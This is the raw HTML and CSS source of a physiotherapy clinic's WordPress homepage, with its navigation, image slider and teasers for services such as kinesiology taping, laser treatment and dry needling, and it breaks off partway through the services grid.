body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
.wp-block-pullquote{font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='afcb-css-css' href='https://perfectophysios.com/wp-content/plugins/animated-floating-chat-button/css/afcb.css?ver=1.0.1' type='text/css' media='all' />
<link rel='stylesheet' id='contact-form-7-css' href='https://perfectophysios.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.8' type='text/css' media='all' />
<link rel='stylesheet' id='math-captcha-frontend-css' href='https://perfectophysios.com/wp-content/plugins/wp-math-captcha/css/frontend.css?ver=6.5.8' type='text/css' media='all' />
<link rel='stylesheet' id='wp-pagenavi-css' href='https://perfectophysios.com/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all' />
<link rel='stylesheet' id='js_composer_front-css' href='https://perfectophysios.com/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=7.0' type='text/css' media='all' />
<script></script><link rel="https://api.w.org/" href="https://perfectophysios.com/wp-json/" /><link rel="alternate" type="application/json" href="https://perfectophysios.com/wp-json/wp/v2/pages/7" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://perfectophysios.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.5.8" />
<link rel='shortlink' href='https://perfectophysios.com/' />
<link rel="alternate" type="application/json+oembed" href="https://perfectophysios.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fperfectophysios.com%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://perfectophysios.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fperfectophysios.com%2F&#038;format=xml" />
<meta name="generator" content="Powered by WPBakery Page Builder - drag and drop page builder for WordPress."/>
<link rel="icon" href="https://perfectophysios.com/wp-content/uploads/2018/08/fav_icon-2.png" sizes="32x32" />
<link rel="icon" href="https://perfectophysios.com/wp-content/uploads/2018/08/fav_icon-2.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://perfectophysios.com/wp-content/uploads/2018/08/fav_icon-2.png" />
<meta name="msapplication-TileImage" content="https://perfectophysios.com/wp-content/uploads/2018/08/fav_icon-2.png" />
		<style type="text/css" id="wp-custom-css">
			.sidebar_widget h2 {
    background: #1b2959;
    padding: 16px 0px;
    color: #fff;
    text-align: center;
    text-transform: uppercase;
    font-size: 17px;
}

.sidebar_widget li {
    padding: 9px 34px;
    background: #f7f7f7;
    border-bottom: 1px solid #e8d3d3;
    background-image: url(https://cdn0.iconfinder.com/data/icons/navigation-set-arrows-part-one/32/ChevronRight-512.png) !IMPORTANT;
    background-size: 20px;
    background-repeat: no-repeat;
    background-position: left;
    list-style:none;
}
.featureimage img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}

.true_sroty:before {
    content: "";
    height: 1px;
    width: 98%;
    background: #bfbdbd;
    text-align: center;
    display: inline-block;
    position: absolute;
    bottom: -18px;
    transform: translate(-50%);
    left: 50%;
}

.true_sroty {
    padding: 43px 0px 13px 0px;
	margin:0px;
}

.true_sroty .tittle a {
    text-transform: uppercase;
    font-size: 18px;
    font-weight: bold;
}
.article_text a {
    font-size: 16px;
    font-weight: bold;
	    text-transform: uppercase;
}
.sidebar_widget a {
    color: #677339;
    font-weight: 500;
    font-size: 16px;
	    text-transform: capitalize;
}


span.category a {
    font-weight: normal !IMPORTANT;
	    text-transform: capitalize!important
}
.text_center {
    padding-top: 40px;
}
.single-post img.img-responsive{
 box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);	
	
}

input.wpcf7-form-control.wpcf7-submit.btn.btn-primary {
    background: #1b2959;
    border-color: #1b2959;
    min-width: 130px;
    padding: 10px;
    cursor: pointer;
    text-transform: uppercase;
    border-radius: 0px;
    font-size: 17px;
}

.rbsIcons i {
    background: #677339 !IMPORTANT;
}
h3.running {
    color: #1b2959;
}
a.read_more_btn {
    color: #9dd3af;
    font-size: 15px;
    border: 1px solid #9dd3af;
    padding: 5px 10px;
    margin-bottom: 18px;
    display: inline-block;
}

.both_imgs img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}

h4.sub_heading_pain {
    color: #1b2959;
    font-weight: 600 !important;
    padding: 17px 0px 12px 0px;
	    margin: 0;
}


.img_body img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
	    margin-top: 30%;
}

.full_img img {
    border: 6px solid #e3e2e2;
    border-radius: 5px;
}
.boy_img img {
    box-shadow: 0 0 20px rgba(171, 116, 116, 0.26);
	border-radius: 3px
}

.girl_bg img {
    border: 4px solid #efebeb;
    border-radius: 4px;
}

.massage_body img {
border: 4px solid #efebeb;
}

.contact-grid-text i.fa.fa-mobile {
    font-size: 29px;
}

.btm .wpb_text_column.wpb_content_element {
    margin: 0;
}


.back_img img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}
.elbow_img img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}
.hip_img img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}

.knee_img img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}

.leg_img img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}

.neck_img1, .neck_img2, .whiplash_img, .lady_img img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}
.ankle, .bg_img_ankle img {
    box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}
 #back2Top {
    width: 45px;
    line-height: 45px;
    overflow: hidden;
    z-index: 999;
    display: none;
    cursor: pointer;
    -moz-transform: rotate(270deg);
    -webkit-transform: rotate(270deg);
    -o-transform: rotate(270deg);
    -ms-transform: rotate(270deg);
    transform: rotate(270deg);
    position: fixed;
    bottom: 50px;
    right: 106px;
    background-color: #cb0f15;
    color: #fff;
    text-align: center;
    font-size: 26px;
    text-decoration: none;
    border-radius: 2px;
 }
#back2Top:hover {
    background-color: #DDF;
    color: #000;
}

@media screen and (max-width: 767px) {
.top-link {
    float: right;
    font-size: 15px;
    margin-bottom: 5px;
}	
}
/*--Mobile-Fixed-Bar--*/
@media (max-width: 768px) {    
.fixed-contact-info{
        position: fixed;
        bottom: 0;
        left: 0;
        width: 100%;
        background-color: #99ceac !important;
        padding: 25px 10px;
        display: flex;
        justify-content: space-between;
        z-index: 9999;
    }
    .fixed-contact-info li {
        width: 40%;
        text-align: center;
    }
    .fixed-contact-info li a {
        text-decoration: none;
        color: #fff;
        font-weight:900;
        font-size: 18px;
        display: flex;
        align-items: center;
        justify-content:center;
    }
    .fixed-contact-info li i {
        margin-right: 5px;
        font-size: 30px;
        background-color: #fff;
        color: #002147;
        padding: 10px 14px;
        border-radius: 50%;
    }
#back2Top {
    bottom: 103px !important;
}
.grecaptcha-badge {
    bottom: 150px !important;
}
.fixed-contact-info .call-btn{
    background-color:#002147;
    border:none;
    padding:12px 20px;
    margin-bottom: 0px;
}
.fixed-contact-info li:first-child {
    display: flex;
    align-items: center;
    justify-content: center;
    width: 80%;
}
.fixed-contact-info .call-btn {
    background: #002147 !important;
    color: #fff !important;!
    padding: 8px 24px;
   border-radius: 6px;
}
}
@media (min-width: 769px) {
    .fixed-contact-info {
        display: none;
    }
}
/*--Mobile-Fixed-Bar--*/		</style>
		<style type="text/css" data-type="vc_shortcodes-custom-css">.vc_custom_1533729885684{padding-right: 15px !important;padding-left: 15px !important;}</style><noscript><style> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript></head>              
<body class="home page-template-default page page-id-7 wpb-js-composer js-comp-ver-7.0 vc_responsive">
	<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-MDL9DJD"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
	    <!---header--->
<div class="container-body">
<header class="header">
	<div class="header-top">
	<div class="container">
	<div class="header-right">
   <!-- <div class="top-link" style="float: right;"> <a style="color: #1ebef0;" href="tel:8054864706">Home visit available To book physio at home call :8054864706</a>
	</div> -->
		<ul>
			<li><i class="fa fa-envelope"></i><a href="mailto:info@perfectophysios.com">info@perfectophysios.com </a></li>
			<li><i class="fa fa-mobile"></i><a href="tel:+91-80548-64704">+91-80548-64704/</a><a href="tel:+91-80548-64706">06</a></li>
			<li class="facebook-header"><a href="https://www.facebook.com/PhysiotherapyInChandigarhTricity/"><i class="fa fa-facebook"></i></a></li>
		</ul>
	</div>
	<div class="logo">	      <a  href="https://perfectophysios.com"><img src="https://perfectophysios.com/wp-content/uploads/2018/11/logo.png"/></a>
    </div>
	<nav id='cssmenu'>

<div id="head-mobile"></div>
<div class="button"></div>
      						<ul id="menu-main-menu" class="nav navbar-nav"><li id="menu-item-22" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-22"><a href="https://perfectophysios.com/about/">About</a>
<ul class="sub-menu">
	<li id="menu-item-777" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-777"><a href="https://perfectophysios.com/your-first-visit/">Your first visit</a></li>
	<li id="menu-item-826" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-826"><a href="https://perfectophysios.com/fitness-for-everyone/">Fitness for everyone</a></li>
</ul>
</li>
<li id="menu-item-687" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-687"><a href="#">Speciality Services</a>
<ul class="sub-menu">
	<li id="menu-item-50" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-50"><a href="https://perfectophysios.com/kinesiology-physiotherapy-taping/">Kinesiology &#038; Physiotherapy Taping</a></li>
	<li id="menu-item-170" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-170"><a href="https://perfectophysios.com/high-intensity-laser/">HIGH INTESITY LASER TREATMENT</a></li>
	<li id="menu-item-337" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-337"><a href="https://perfectophysios.com/manual-trigger-therapy-dry-needling/">Manual Trigger Therapy &#038; Dry Needling</a></li>
	<li id="menu-item-373" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-373"><a href="https://perfectophysios.com/foot-annex/">FOOT ANNEX</a></li>
	<li id="menu-item-277" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-277"><a href="https://perfectophysios.com/muscle-energy-technique/">MUSCLE ENERGY TECHNIQUE (MET)</a></li>
	<li id="menu-item-285" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-285"><a href="https://perfectophysios.com/soft-tissue-release/">SOFT TISSUE RELEASE</a></li>
	<li id="menu-item-325" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-325"><a href="https://perfectophysios.com/lymphatic-massage/">LYMPHATIC MASSAGE</a></li>
	<li id="menu-item-761" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-761"><a href="https://perfectophysios.com/acoustic-wave/">Acoustic wave</a></li>
	<li id="menu-item-812" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-812"><a href="https://perfectophysios.com/women-health-physiotherapy/">Women health physiotherapy</a></li>
	<li id="menu-item-920" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-920"><a href="https://perfectophysios.com/targeted-radiofrequency-therapy-trt/">Targeted Radiofrequency Therapy (TRT)</a></li>
</ul>
</li>
<li id="menu-item-296" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-296"><a href="https://perfectophysios.com/electrotherapy/">Electrotherapy</a></li>
<li id="menu-item-24" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-24"><a href="https://perfectophysios.com/contact-us/">Contact Us</a></li>
<li id="menu-item-27" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-27"><a href="https://perfectophysios.com/our-blog/">Our Blog</a></li>
<li id="menu-item-23" class="conditions_treated_btn menu-item menu-item-type-post_type menu-item-object-page menu-item-23"><a href="https://perfectophysios.com/conditions-treated/">Conditions Treated</a></li>
</ul></nav>
	</div>
	</div>
</header>
	
        <!-- The carousel -->
        <div id="home-slider" class="carousel slide slide-top" data-ride="carousel">
			<!-- Indicators -->
			<ol class="carousel-indicators">
				<li data-target="#transition-timer-carousel" data-slide-to="0" class="active"></li>
				<li data-target="#transition-timer-carousel" data-slide-to="1"></li>
				<li data-target="#transition-timer-carousel" data-slide-to="2"></li>
				<li data-target="#transition-timer-carousel" data-slide-to="3"></li>
				
			</ol>

			<!-- Wrapper for slides -->
			<div class="carousel-inner">
			 				<div class="item active">
                    <img class="img-responsive" src="https://perfectophysios.com/wp-content/uploads/2018/09/SLIDER-1.jpg">
                    <div class="container">
					<div class="carousel-caption">
                        <h1 class="carousel-caption-header">About Us</h1>
                        <a href="/about/" class="btn">Read More</a>
                    </div>
					</div>
                </div>
                 
                <div class="item">
                    <img class="img-responsive" src="https://perfectophysios.com/wp-content/uploads/2018/08/kinesiology-slide.jpg">
                    <div class="container">
					<div class="carousel-caption">
                        <h1 class="carousel-caption-header">KINESIOLOGY & <br> PHYSIOTHERAPY TAPING</h1>
                        <a href="/kinesiology-physiotherapy-taping/" class="btn">Read More</a>
                    </div>
					</div>
                </div>
                 
                <div class="item">
                    <img class="img-responsive" src="https://perfectophysios.com/wp-content/uploads/2018/08/high-intensity-laser-treatment-slide.jpg">
                    <div class="container">
					<div class="carousel-caption">
                        <h1 class="carousel-caption-header">HIGH INTENSITY LASER</h1>
                        <a href="/high-intensity-laser/" class="btn">Read More</a>
                    </div>
					</div>
                </div>
                 
                <div class="item">
                    <img class="img-responsive" src="https://perfectophysios.com/wp-content/uploads/2018/08/dry-needling-slide.jpg">
                    <div class="container">
					<div class="carousel-caption">
                        <h1 class="carousel-caption-header">MANUAL TRIGGER THERAPY <br>& DRY NEEDLING</h1>
                        <a href="/manual-trigger-therapy-dry-needling/" class="btn">Read More</a>
                    </div>
					</div>
                </div>
                 
                <div class="item">
                    <img class="img-responsive" src="https://perfectophysios.com/wp-content/uploads/2018/08/electrotheraphy.jpg">
                    <div class="container">
					<div class="carousel-caption">
                        <h1 class="carousel-caption-header">LYMPHATIC MASSAGE</h1>
                        <a href="/lymphatic-massage/" class="btn">Read More</a>
                    </div>
					</div>
                </div>
                 
            </div>

			<!-- Controls -->
			<a class="left carousel-control" href="#home-slider" data-slide="prev">
				<span class="glyphicon glyphicon-chevron-left"></span>
			</a>
			<a class="right carousel-control" href="#home-slider" data-slide="next">
				<span class="glyphicon glyphicon-chevron-right"></span>
			</a>
            
		</div>
<!---------slider-close-------->



<!---------Services-------->

<section class="services-sidebar">
	<div class="container">
		<div class="row">
			<div class="col-sm-8 services-grid">
				<h2 class="services-top-title">EVERYTHING YOU NEED TO GET BACK ON THE MOVE</h2>
				<p class="services-subheading">Welcome to Perfecto Physios. Whatever your needs may be, our approach and philosophy are simple: <span> Personal physiotherapy with exceptional outcomes.</span></p>
				<div class="row">
				
							<div class="text_center"><section class="wpb-content-wrapper"><div class="vc_row wpb_row vc_row-fluid vc_custom_1533729885684"><div class="wpb_column vc_column_container vc_col-sm-12"><div class="vc_column-inner"><div class="wpb_wrapper"><div class="vc_row wpb_row vc_inner vc_row-fluid"><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element  services-inner" >
		<div class="wpb_wrapper">
			<div class="services-img">
<p><a href="/kinesiology-physiotherapy-taping/"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/kinesiology-physiotherapy.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">kinesiology &amp; physiotherapy taping</h4>
</div>
<div class="services-description">
<p>The kinesiology &amp; physiotherapy taping Method is a definitive rehabilitative taping technique that is designed…<br />
<a href="/kinesiology-physiotherapy-taping/">READ MORE</a></p>
</div>

		</div>
	</div>
</div></div></div><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/foot-annex/"><img decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/foot-annex.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">FOOT ANNEX</h4>
</div>
<div class="services-description">Our feet are the foundation of entire body. When this foundation is misaligned or functions poorly, its effect can be…<br />
<a href="/foot-annex/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div></div><div class="vc_row wpb_row vc_inner vc_row-fluid"><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/high-intensity-laser/"><img decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/high-intensity-laser.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">HIGH INTESITY LASER TREATMENT</h4>
</div>
<div class="services-description">High Intensity Laser stimulates local microcirculation and supports lymph drainage of the pathological area…<br />
<a href="/high-intensity-laser/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/lymphatic-massage/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/lymphatic-massage.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">LYMPHATIC MASSAGE</h4>
</div>
<div class="services-description">We use the world most advanced technology. Clinically proven and thouroghly tested. Easily tolerated in…<br />
<a href="/lymphatic-massage/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div></div><div class="vc_row wpb_row vc_inner vc_row-fluid"><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/electrotherapy/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/electrotherapy.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">ELECTROTHERAPY</h4>
</div>
<div class="services-description">The use of electrotherapy has been researched and accepted in the field of rehabilitation…<br />
<a href="/electrotherapy/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/manual-trigger-therapy-dry-needling/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/dry-needling.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">MANUAL TRIGGER THERAPY &amp; DRY NEEDLING</h4>
</div>
<div class="services-description">Myofascial trigger points are a major cause of chronic musculoskeletal pain. However their significant role in pain …<br />
<a href="/manual-trigger-therapy-dry-needling/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div></div><div class="vc_row wpb_row vc_inner vc_row-fluid"><div class="wpb_column vc_column_container vc_col-sm-12"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<p><a class="view_more" href="#;">View More</a></p>

		</div>
	</div>
</div></div></div></div><div class="vc_row wpb_row vc_inner vc_row-fluid load_more"><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/soft-tissue-release/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/soft-tissue-release.jpg" alt="" width="767" height="310" /></a></p>
<h4 class="services-title">SOFT TISSUE RELEASE</h4>
</div>
<div class="services-description">Soft tissue release was developed as a treatment for Olympic athletes. However, the approach can be used to treat any type…<br />
<a href="/soft-tissue-release/">READ MORE</a></div>
</div>

		</div>
	</div>
</div></div></div><div class="wpb_column vc_column_container vc_col-sm-6"><div class="vc_column-inner"><div class="wpb_wrapper">
	<div class="wpb_text_column wpb_content_element " >
		<div class="wpb_wrapper">
			<div class="services-inner">
<div class="services-img">
<p><a href="/muscle-energy-technique/"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-211" src="https://perfectophysios.com/wp-content/uploads/2018/08/muscle-energy.jpg" alt="" width="767" height="310" /></a></p>
